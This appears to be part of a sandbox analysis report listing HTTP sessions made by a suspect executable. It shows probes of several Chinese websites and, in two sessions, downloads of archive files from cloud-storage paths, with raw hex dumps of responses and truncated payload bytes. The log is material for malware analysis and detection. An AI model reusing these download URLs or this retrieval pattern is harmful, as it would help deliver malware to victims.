Aug 5, 2024 12:01:15.597491980 CEST	1236	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html;charset=UTF-8 Cxy_all: +9343241df0dcd9fc4ddbad752a2545ca Date: Mon, 05 Aug 2024 10:01:15 GMT Lfy: gznj.80143 P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: nginx/1.9.12 Set-Cookie: s_ht_pageid=16; path=/; domain=.hao123.com Set-Cookie: ft=1; expires=Mon, 05-Aug-2024 15:59:59 GMT Set-Cookie: v_pg=normal Set-Cookie: hz=0; path=/; domain=www.hao123.com Set-Cookie: BAIDUID=CC514E35F60738AAA14FCEFA286F2DFF:FG=1; expires=Tue, 05-Aug-25 10:01:15 GMT; max-age=31536000; path=/; domain=.hao123.com; version=1 Tracecode: 00749372773416165642080518 Vary: Accept-Encoding Transfer-Encoding: chunked Data Raw: 32 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 97 23 c9 75 20 f6 7d 7e 05 d8 ed 61 77 0d 91 59 48 bc 81 62 53 ec 27 39 96 86 1a 0f 87 12 b9 e4 a8 4e 02 48 54 61 1a 05 40 78 74 75 b3 a6 ce 91 f7 ac 1e d6 ca d6 ae bd bb 5e 5b f6 d9 2f f6 59 ed 9e b3 92 65 cb 7b b4 96 b8 fe 31 ab 19 52 9f fc 17 7c 1f 11 91 37 1e 99 48 54 75 f7 70 49 b1 38 33 00 32 32 e2 c6 8d 1b f7 1d 37 be fe 95 27 bf fe f8 e3 1f 7c f8 b4 76 be bd 98 7f e3 eb f8 ef da 78 9e 6e 36 0f ee dc 81 af 59 3a f9 c6 d7 17 cb cd 78 3d 5b 6d bf f1 f5 8b 6c 9b 42 cb ed 2a ca 7e 7b 37 7b f1 e0 ce 3a 9b ae b3 cd f9 9d da 78 b9 d8 66 8b ed 83 3b 8d 93 da f7 3e fa b5 07 f7 8e 7f e5 f4 54 bf 78 7a 1a 3d 48 ee dd a9 1d 7f e3 eb c7 79 67 db d9 76 9e 7d e3 3c 5d 26 cd d6 e9 df fe d5 1f fe f4 27 ff f4 6f ff fa bf fb d9 ff fb 3f fd dd ef ff d1 e7 7f f3 3b 9f ff eb 7f fc f5 63 6e f3 f5 51 ba c9 6a db 74 7d 96 c1 08 a7 a3 79 ba 78 0e d0 11 34 e3 f3 74 bd c1 9f 77 db 69 d4 bf 03 43 b8 40 7e 3f fa de c3 e8 f1 f2 62 95 6e 67 a3 79 96 83 fa fe d3 07 d9 e4 [TRUNCATED] Data Ascii: 2eek#u }~awYHbS'9NHTa@xtu^[/Ye{1R\|7HTupI83227'\|vxn6Y:x=[mlB*~{7{:xf;>Txz=Hygv}<]&'o?;cnQjt}yx4twiC@~?bngy,A\(Mvfz6BLuj\|_^:?3Yl&5MdggxY^;>a<{u\O6bdmw>?9['~_T7/?z?ofIddQ/_/
Aug 5, 2024 12:01:15.597506046 CEST	194	IN	Data Raw: c7 7f f8 b3 ff fb 1f 7d f1 ff fc 93 9f fe cf ff e8 6f ff ea df 7d f1 2f 7e 5f 82 fa 9f 7e e7 1f 42 83 2f fe c7 7f ff c5 3f fb f7 9f ff e4 9f 7f fe 93 bf f8 d9 bf fe bd ff f4 3b ff f5 df fd ab ff eb 6f ff c3 3f 81 0f 9f ff 1f 7f fc b3 3f ff 4b f8 Data Ascii: }o}/~_~B/?;o??K_?w{?T}{ogo~O\|'??~#2mxSVr,/
Aug 5, 2024 12:01:15.597515106 CEST	1236	IN	Data Raw: 33 38 39 30 0d 0a 6f 3f fc f5 07 f9 c7 cf 3e bb ba 3e c9 bf c6 b8 57 37 b5 07 b5 69 3a df 64 de 83 8f d7 e9 82 9e ee 16 63 a4 ed fb bb f5 fc e8 6a 9d 6d 77 eb 45 0d 3e 5f 9f 7c fd 58 6f fd cd f6 15 ec 9d ed ab 15 6c 8d 6d f6 72 7b 3c de 6c 60 c3 Data Ascii: 3890o?>>W7i:dcjmwE>_\|Xolmr{<l`f=~p,M6[8c$xz3`lI?6[M\|1[>M_xv#2Os}GO?Oxi3}5Bxm_f!v\{[
Aug 5, 2024 12:01:15.597589016 CEST	1236	IN	Data Raw: 85 4e c0 fe 05 3b 15 29 45 bf f7 1e 30 99 8b b9 b5 5a 1b e0 37 d1 06 2d c3 13 c4 0c 68 af 44 4e 49 9c 74 4e a2 8b 4d 44 74 83 ab 18 a5 93 4f 77 1b 78 82 c4 01 54 37 7a 3e db 86 9f 5e e3 9e 32 fb e1 3a c5 d5 9b 67 f5 74 33 9b 64 b0 85 96 5b 40 35 Data Ascii: N;)E0Z7-hDNItNMDtOwxT7z>^2:gt3d[@5*E:^p4_}lf'j^vQk\Oggp>Y5~AIvc\|+gNYtf8YMk0-],;P(?Gp1/qFal5\>lJS@
Aug 5, 2024 12:01:15.597601891 CEST	1236	IN	Data Raw: 06 2c ac ec 3e 32 e9 23 a3 9b 16 3d 26 c3 89 7a f0 5f 05 9b a1 e8 d1 b2 e8 89 7a 01 7c f5 f7 c1 63 92 82 e3 1e 50 16 83 ba 73 d7 40 76 74 a2 1a a1 90 00 bf f2 93 ef bf 7f 01 4e 16 f2 28 a1 72 11 7f 30 1b af 97 9b e5 74 1b 3f 02 4b 63 4c 4f ef 9b Data Ascii: ,>2#=&z_z\|cPs@vtN(r0t?KcLO$e:~lR{CYc v6SOt^:Y.!?~uG@TVi'3W;li\`0*Z8BHW:vFM#!Aw{?MJP
Aug 5, 2024 12:01:15.597822905 CEST	1236	IN	Data Raw: 18 89 56 fe 9f 3b e9 7c 75 9e de ff 75 56 a1 1f 34 8e c0 b7 c2 ae 28 7e a0 d4 28 78 70 12 3d c7 28 53 94 3b e6 28 76 92 7f cd 3f 29 2f 70 94 bd 00 f3 6c 43 81 aa 3c 40 8b 8c 99 83 84 30 d7 5a 9c f4 37 b5 0c a2 82 11 38 5e e8 1b 33 e7 d2 16 8a b8 Data Ascii: V;\|uuV4(~(xp=(S;(v?)/plC<@0Z78^3z`w0C!iSGv7;#Q6D][^%\|+:rA{^tj$n%=]( Rf0Zz5?zGsFolrO?Yv~
Aug 5, 2024 12:01:15.597834110 CEST	1236	IN	Data Raw: 43 29 55 35 77 5b a2 7f 83 9c 83 28 d9 ca 1c 1d 14 15 7a ed 6e cb 12 50 c3 9e cb e0 0b 6f d9 79 f9 25 f2 dc 52 b7 e5 2f 0d fb 2d 77 98 96 ed 93 52 4e ec 7a 4b 05 ad 85 83 39 41 62 f4 9d 2d a1 66 c5 4c 3f c0 13 42 01 da d7 e2 39 0d 40 46 29 b7 8e Data Ascii: C)U5w[(znPoy%R/-wRNzK9Ab-fL?B9@F)YW3*Ux:Rm1Bx\/"L%OVY}gP%&b.`ytV;7~{e ol74B_/=p?:,WaT2!F:~Eoh}[)}_
Aug 5, 2024 12:01:15.597845078 CEST	1236	IN	Data Raw: bd 23 e3 e7 30 69 5b 22 58 8b c5 c0 71 ed 3a 7b 99 ec ba 24 e8 20 95 26 08 95 fc 0b 8d e5 95 12 ac b9 b5 04 19 e8 21 c5 0f 70 45 88 91 f8 09 d6 0c 59 43 43 6b ca a9 71 ea 2c 2d a1 5e 57 d5 14 74 64 58 5c fc 97 7e c0 c9 ae 94 2a c1 45 e0 65 7d b7 Data Ascii: #0i["Xq:{$ &!pEYCCkq,-^WtdX\~*Ee}f2Nlp%njd1n]t1EYZga./<O>w~\|,z{p=:mfR\|SMF"j`OhJLW,2Dsk! j$CaG--V
Aug 5, 2024 12:01:15.597855091 CEST	776	IN	Data Raw: 97 c6 cb 25 75 aa 6e 03 29 d3 31 1a 85 1a 7e f7 69 17 ff 78 b6 10 de cb 61 f4 38 97 9e cd b3 01 fe e9 b6 64 5a f2 1e c6 ea 3b 86 8b 88 e2 35 e4 a8 12 3c 8b 00 45 c1 21 d4 7a 2c 29 44 57 30 1f 1f f3 ed cb 70 23 28 5f 61 3e 59 c4 a3 71 36 5a 6e e8 Data Ascii: %un)1~ixa8dZ;5<E!z,)DW0p#(_a>Yq6Zniop:6iZN/#q,fqcy<jG$^-DyS@JOt[n`+./(K!Hj~sm7In24s@}xp[pUi{mN;)rfe
Aug 5, 2024 12:01:15.597867012 CEST	1236	IN	Data Raw: 92 b8 5d ed 46 c0 18 cf 35 4f 74 8d 28 c2 44 90 2d 0a 06 80 6d bc 8d c5 2b 47 a8 67 b8 82 b3 0c f6 6d ad 3d f6 50 3a 75 42 b4 9c 3f dd ea 23 79 88 85 0b 87 79 91 6e ce 14 9c f3 26 ec 8d a9 4e ac 6e 48 db 50 23 b3 ab 89 db 76 0b 31 e6 76 e0 91 71 Data Ascii: ]F5Ot(D-m+Ggm=P:uB?#yyn&NnHP#v1vq@$~f]iHbmAJn`FTwZd;%xGNDvw]E[K WqGI^){2Dm(dFH%eC5AZ*f:
Aug 5, 2024 12:01:15.598223925 CEST	1236	IN	Data Raw: 1f 55 3f b8 f3 c4 1e 9f 64 59 2b 1b 49 9d 12 25 e3 75 18 2c 06 d1 57 74 5d b3 46 63 45 93 0b 79 af 83 13 ad c5 ab 74 06 45 f2 43 e7 d8 65 38 4a 9b 33 e8 07 d5 66 26 7e a6 d5 9d a6 17 b3 f9 ab e1 93 f7 bf f3 d1 12 0e 6c 7f b8 5e 46 1f d0 05 00 05 Data Ascii: U?dY+I%u,Wt]FcEytECe8J3f&~l^F$Y=y>A6 X{*9M$~5%e\.[q/~\|ki#&"4i{36Z4/a-DN;"FuaYK(q1q[v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49888	47.246.46.229	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:14.352879047 CEST	223	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.eastmoney.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:15.005110979 CEST	545	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Mon, 05 Aug 2024 10:01:14 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.eastmoney.com/ Via: ens-cache10.it4[,0] Timing-Allow-Origin: * EagleId: 2ff62e9e17228520749003474e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49889	113.219.142.35	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:14.455976009 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cdstm.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:16.041100025 CEST	464	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Mon, 05 Aug 2024 10:01:15 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.cdstm.cn/ X-Cache-Status: MISS Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=63072000;includeSubdomains;preload Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49890	47.94.225.221	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:14.465100050 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jmw.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:15.595864058 CEST	367	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.0 Date: Mon, 05 Aug 2024 10:01:15 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.jmw.com.cn/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.26.0</center></body></html>
Aug 5, 2024 12:01:15.602648020 CEST	367	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.0 Date: Mon, 05 Aug 2024 10:01:15 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.jmw.com.cn/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.26.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49891	43.159.119.252	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:14.570146084 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.tencent.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:15.020946980 CEST	195	IN	HTTP/1.1 302 Found Location: https://www.tencent.com/ Content-Length: 0 Connection: keep-alive Server: EdgeOne_SS_OC Date: Mon, 05 Aug 2024 10:01:14 GMT EO-LOG-UUID: 3359785350954741499

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49892	161.117.242.93	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:14.649209976 CEST	259	OUT	GET /2024-08-05/17_58 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: qingdaocs.oss-accelerate.aliyuncs.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:15.983160973 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: AliyunOSS Date: Mon, 05 Aug 2024 10:01:15 GMT Content-Type: application/octet-stream Content-Length: 1565 Connection: keep-alive x-oss-request-id: 66B0A2EB17B51AABC3158401 Content-Range: bytes 0-1564/1565 Accept-Ranges: bytes ETag: "9ABAC071C0B58556F95C6F92C5C9C28C" Last-Modified: Mon, 05 Aug 2024 09:59:01 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 16292424176455077522 x-oss-storage-class: Standard Content-MD5: mrrAccC1hVb5XG+SxcnCjA== x-oss-server-time: 2 Data Raw: 50 4b 03 04 14 00 01 00 08 00 a1 5d 05 59 d0 59 19 20 b3 05 00 00 74 13 00 00 04 00 00 00 63 6c 73 74 50 b7 99 b4 d5 d4 f8 5f 82 4b 39 db 03 06 b3 60 94 8c 6b 3b b4 fe b3 7d 4e aa c4 eb aa 1b 8d 70 91 9f f9 94 9a 38 05 0a 11 53 60 e9 48 4e 50 36 80 3f da 2d 46 64 2d 61 16 84 14 28 7a 69 88 9c cc d5 3f 31 0f 30 2a 52 e3 31 5b e5 0c f3 19 e0 49 7c 33 e3 20 ba c0 b5 f0 9e 98 82 96 15 c5 69 54 15 5f a3 2e 17 da e3 a0 a9 ee 6f 61 f8 f0 a7 d7 67 cf 3d e1 33 36 00 18 f3 3c 42 e4 25 df a1 df 22 1a 9d 73 2c cb e0 69 77 81 83 64 c3 92 4d 58 85 21 e1 30 46 96 a4 8c 5a cd a2 e2 d7 55 e7 c7 ba 94 b1 7f dc f5 a2 17 10 b2 7f cd 17 84 5c 04 86 a3 71 93 06 ce d5 79 46 51 67 11 2d 7f d2 01 40 d6 05 15 e8 b2 fb 69 90 e6 94 46 70 4a bc f6 82 62 df 44 9f 9f 8c f9 73 20 08 b0 0a 4d da 12 32 b8 a7 66 48 7f 8d 37 c9 8b f6 ff 77 31 e1 9d a4 df 92 b6 63 4e a2 fe 64 61 d4 c0 eb 7a 10 11 1d b3 7a 8a cb 07 47 9e 03 d2 64 cf cc ea f6 d4 42 a4 79 6e 25 43 ed 8f ae 79 01 78 99 44 44 48 ab 78 4c 1a e5 a4 9c 69 93 e7 7e 1a 67 f9 86 [TRUNCATED] Data Ascii: PK]YY tclstP_K9`k;}Np8S`HNP6?-Fd-a(zi?10R1[I\|3 iT_.oag=36<B%"s,iwdMX!0FZU\qyFQg-@iFpJbDs M2fH7w1cNdazzGdByn%CyxDDHxLi~gpugMgYfx3%Cx+0z(jXZUN?k\|]>GSJED {QEb)u<z7(S`)YKQgnCV0r&$nTD8Oj1IO.Rc)"V2}qDAw(?wcu)K"\|O1=5r}rIic5rjuLCYz4U\62nRE-8RIMpS.l9@=I_vT8oo
Aug 5, 2024 12:01:15.983201981 CEST	854	IN	Data Raw: 4b 33 ab 0b e4 24 54 e7 69 4b 39 7b 41 94 52 ae 70 91 03 0c ec 84 a1 67 32 cd d0 d1 d8 9b f0 c6 0d 21 f0 dd e8 1b b9 0b f9 55 37 1d 11 b3 4f e3 9a 01 c2 8d ce cc e7 60 83 f9 ff bf 0a 94 19 35 5f 80 29 a0 7d 42 53 da f1 b2 64 72 68 81 1b d7 ce 5e Data Ascii: K3$TiK9{ARpg2!U7O`5_)}BSdrh^w\|hj%:<+wBpHDXjIrk4n,mK~r8^yM :2f_D bI,g<$@utg<7[Y#y'g9i{bXvM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49893	27.221.16.149	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:16.725756884 CEST	232	OUT	GET /operate/24624 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:17.828380108 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 10:01:15 GMT Content-Type: application/octet-stream Content-Length: 1254141 Connection: keep-alive X-RequestId: 2dfaeff5-2408-0518-0117-b4055d752a1d X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 09:49:14 GMT X-Filesize: 1254141 ETag: "7c122996d1cb6f84a1571234c8c9c24c" x-amz-meta-crc32: DB6A74AE Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1254140/1254141 Data Raw: 50 4b 03 04 14 00 01 00 08 00 20 8e 05 59 1a d7 c6 76 8b 22 13 00 c8 a4 13 00 08 00 00 00 42 36 34 64 2e 72 61 72 4d 0b 98 49 2b 45 e9 59 bf ff c5 3c aa 9f 2a cd 4d 2c 89 26 55 a3 79 aa 65 61 83 fa 2a ce 7d d1 b6 8d f0 68 98 40 ea 85 f2 c0 75 d9 24 23 94 d9 0f dc 03 d6 20 d3 a8 09 bf 2d bd 1b 09 bb c7 41 89 aa 0f 5d d8 45 cc b7 25 d0 65 3b 2f d4 23 55 fb 64 f3 5f 44 8f ae 65 54 1c 30 27 77 e2 a9 36 06 31 41 8f 4b 72 c4 a2 ca 46 de ef 10 22 f8 0e 4c b2 58 ac 6c ad 55 40 52 48 d9 96 e6 c4 ad 8c 72 63 12 57 e2 db 13 2d dc 0b 82 8d 15 5b 78 55 ae e3 37 60 7e 87 53 3a bc 4d 59 b3 c7 40 86 1e 42 a3 1e 90 a6 b7 07 bb 02 4b ea 00 07 86 e3 eb fc db c6 f4 21 67 63 10 c8 22 e1 ed da f9 0f fa a1 54 c4 24 5f b1 71 23 a7 f9 5d 13 2e 47 28 4e c5 30 73 f4 de 62 c2 f6 3e 1b 68 79 97 f6 ff 45 4f ba 3b d4 b4 29 5a 55 be 2a 0f 60 b0 fa fd b5 13 c7 72 db 0c d8 ab 25 41 ce e2 47 82 cf e3 4f 40 5e cf b9 81 6d 92 1d a0 8d 95 9e b4 14 9c ed 22 fa 86 38 00 0d e1 89 0f 98 99 ce 34 96 10 fc b9 14 cc 44 30 bc 26 f2 fa c9 64 b6 [TRUNCATED] Data Ascii: PK Yv"B64d.rarMI+EY<M,&Uyea}h@u$# -A]E%e;/#Ud_DeT0'w61AKrF"LXlU@RHrcW-[xU7`~S:MY@BK!gc"T$_q#].G(N0sb>hyEO;)ZU*`r%AGO@^m"84D0&d7WspVQ$vXRxn!zJgP;uWR"!l9lUG&p1%#"7uP{_8t9&PHU34h&6w0Xi)s 70]-BI?B'uag\^T->C
Aug 5, 2024 12:01:17.828408957 CEST	1236	IN	Data Raw: 9a c3 3f 48 0c 00 eb 9b 67 34 59 99 00 78 7b 24 34 e3 d9 49 5b 8a 43 e9 41 2b 13 6d dc be 3f 13 13 24 5b 27 ad 26 0a 15 69 f1 b1 5d ee 35 13 04 7d ea ab 86 81 1f 02 0e 7e 61 c0 04 4b 9f 49 21 78 59 02 79 21 a1 c8 bb 2b af 17 96 e3 d2 91 1d e1 32 Data Ascii: ?Hg4Yx{$4I[CA+m?$['&i]5}~aKI!xYy!+2t3%py98zf-#^AEvl"u:T/tPhwV4sM]""HJCy]&g5kU#0E^FmzP
Aug 5, 2024 12:01:17.828425884 CEST	325	IN	Data Raw: 3b cb e5 26 81 15 81 07 d8 0f 83 c3 20 9f 56 e3 37 91 e2 f3 e0 1a 26 ed 15 a2 1f 3f 5d 37 72 bb 7b 58 10 34 2b e6 72 8b 30 f3 df c0 05 c2 b9 cf 42 d9 7b c1 ba 14 82 22 c8 17 c9 e8 1d 7b e3 81 d7 d2 5c be 53 eb 0f 06 d9 cf 87 1f e5 c0 65 f3 84 cc Data Ascii: ;& V7&?]7r{X4+r0B{"{\SewHQsTXq[Dc<TSnU#"IgW.Cq aGjs\"Rfd#D-S[>g3%x4^/0G~E=z\ZJ4<{jkY8bdb\|_K
Aug 5, 2024 12:01:17.828497887 CEST	1236	IN	Data Raw: 3c b2 09 1f c2 a8 b2 40 2d 26 fd bb 9e 0a 78 4a b2 82 ab 42 49 63 d2 51 8f 00 31 d6 c0 67 09 4a 6b 35 a2 7c 85 a2 0e e8 7b 80 be a3 d7 f7 95 13 69 d7 5b ca 72 f5 c2 92 a0 21 46 ed 13 89 44 ce 1b 06 33 35 5a f2 35 a9 4a 0a 79 3d fa c6 a3 5e 4e 31 Data Ascii: <@-&xJBIcQ1gJk5\|{i[r!FD35Z5Jy=^N1~1AVSP1QN~]%P~-*IZ^x@_T7(S.,]Isfn=)!b"pSJcr";gSxz[3wnoiG+SsV5I(6/
Aug 5, 2024 12:01:17.828511000 CEST	1236	IN	Data Raw: 91 b6 65 9a bb e4 e5 57 67 00 23 96 84 06 e3 cc 22 fc 03 a3 d9 1c b3 49 b1 a7 6b 10 5c 52 78 05 51 73 d3 0e 97 39 d8 a5 ee 51 bc 9b eb 29 fa 20 64 35 8a 74 7d d6 52 94 0c 18 ba d6 d5 b3 da 1d 93 ee 3e 21 c9 5b 22 df fc 3f f2 93 ea 2a 9d 54 12 81 Data Ascii: eWg#"Ik\RxQs9Q) d5t}R>!["?*ToV-xviYh~/0%97_M2Ig\)V?EkGoum+Gp_jSz\|&C]<U!7%2^#ZvVvmoDT-A&{n1TRn
Aug 5, 2024 12:01:17.828696012 CEST	1236	IN	Data Raw: 4c 25 c1 8b 09 ba 26 77 98 60 48 ae 66 ef 4b c9 ec 0b 31 0f 3d 8a bd f3 6c 18 d5 be d7 10 fe 1c f6 8b 1d 09 58 36 f9 1e ab 50 d3 a4 8e 11 b6 11 5d d1 bf 48 d2 c5 3f 6f 8e e8 ea 44 fe 88 68 66 56 07 f5 61 b8 87 99 4a 7f 27 ea cd a6 0b fa 35 dd c7 Data Ascii: L%&w`HfK1=lX6P]H?oDhfVaJ'5~N:j/-EV\|@>nzq,Y/*9[_t0wS9~Zd.S.-.icd}wl)SW9U6~]5U&=e$^+S;
Aug 5, 2024 12:01:17.828708887 CEST	672	IN	Data Raw: ed 9f 56 d4 a1 1a ec fd 5a f6 38 05 ce 3a 8f b3 27 4c 1c 13 fd 98 7b 91 60 de ed 54 4c 0d e2 11 56 52 94 ff b2 8a ae ba 77 08 18 da 54 c0 a8 64 53 2b ff 73 18 c6 a5 4f c1 53 af 0c db 03 a8 0f 9a d7 dd 93 7a c9 d5 98 23 6f 14 54 03 3d cb a8 e0 fc Data Ascii: VZ8:'L{`TLVRwTdS+sOSz#oT=}ZmQN_U}(/vlBWG4a%?6]<8?Zp!Uv~y?sh;ymaA8\|8!z^Dj9rBm*cXW@t
Aug 5, 2024 12:01:17.828727961 CEST	1236	IN	Data Raw: d5 ff b3 0a 9e 7b f4 c5 2e 58 19 d1 e2 18 fe 0a 7b 0a fd 3b 92 77 0a ef 06 49 26 77 7d b0 d8 4b 7f b2 a2 46 16 30 b8 3b 79 60 dc 64 36 b3 9e fa 8b b7 d9 f3 6f d3 a2 c7 19 07 f0 77 3c bf bf 40 a0 a0 a8 6f e8 5b 5a 02 a3 3e f2 48 03 09 87 02 58 4c Data Ascii: {.X{;wI&w}KF0;y`d6ow<@o[Z>HXL#cUa2n3f~dU"_$k&9_aQ:`JppIHR%HiGtStnHSM3='hWY&2TF%eRFg`j
Aug 5, 2024 12:01:17.828737020 CEST	16	IN	Data Raw: e8 67 b5 72 71 79 0d 6a 51 32 70 b8 1e 0c ed 02 Data Ascii: grqyjQ2p
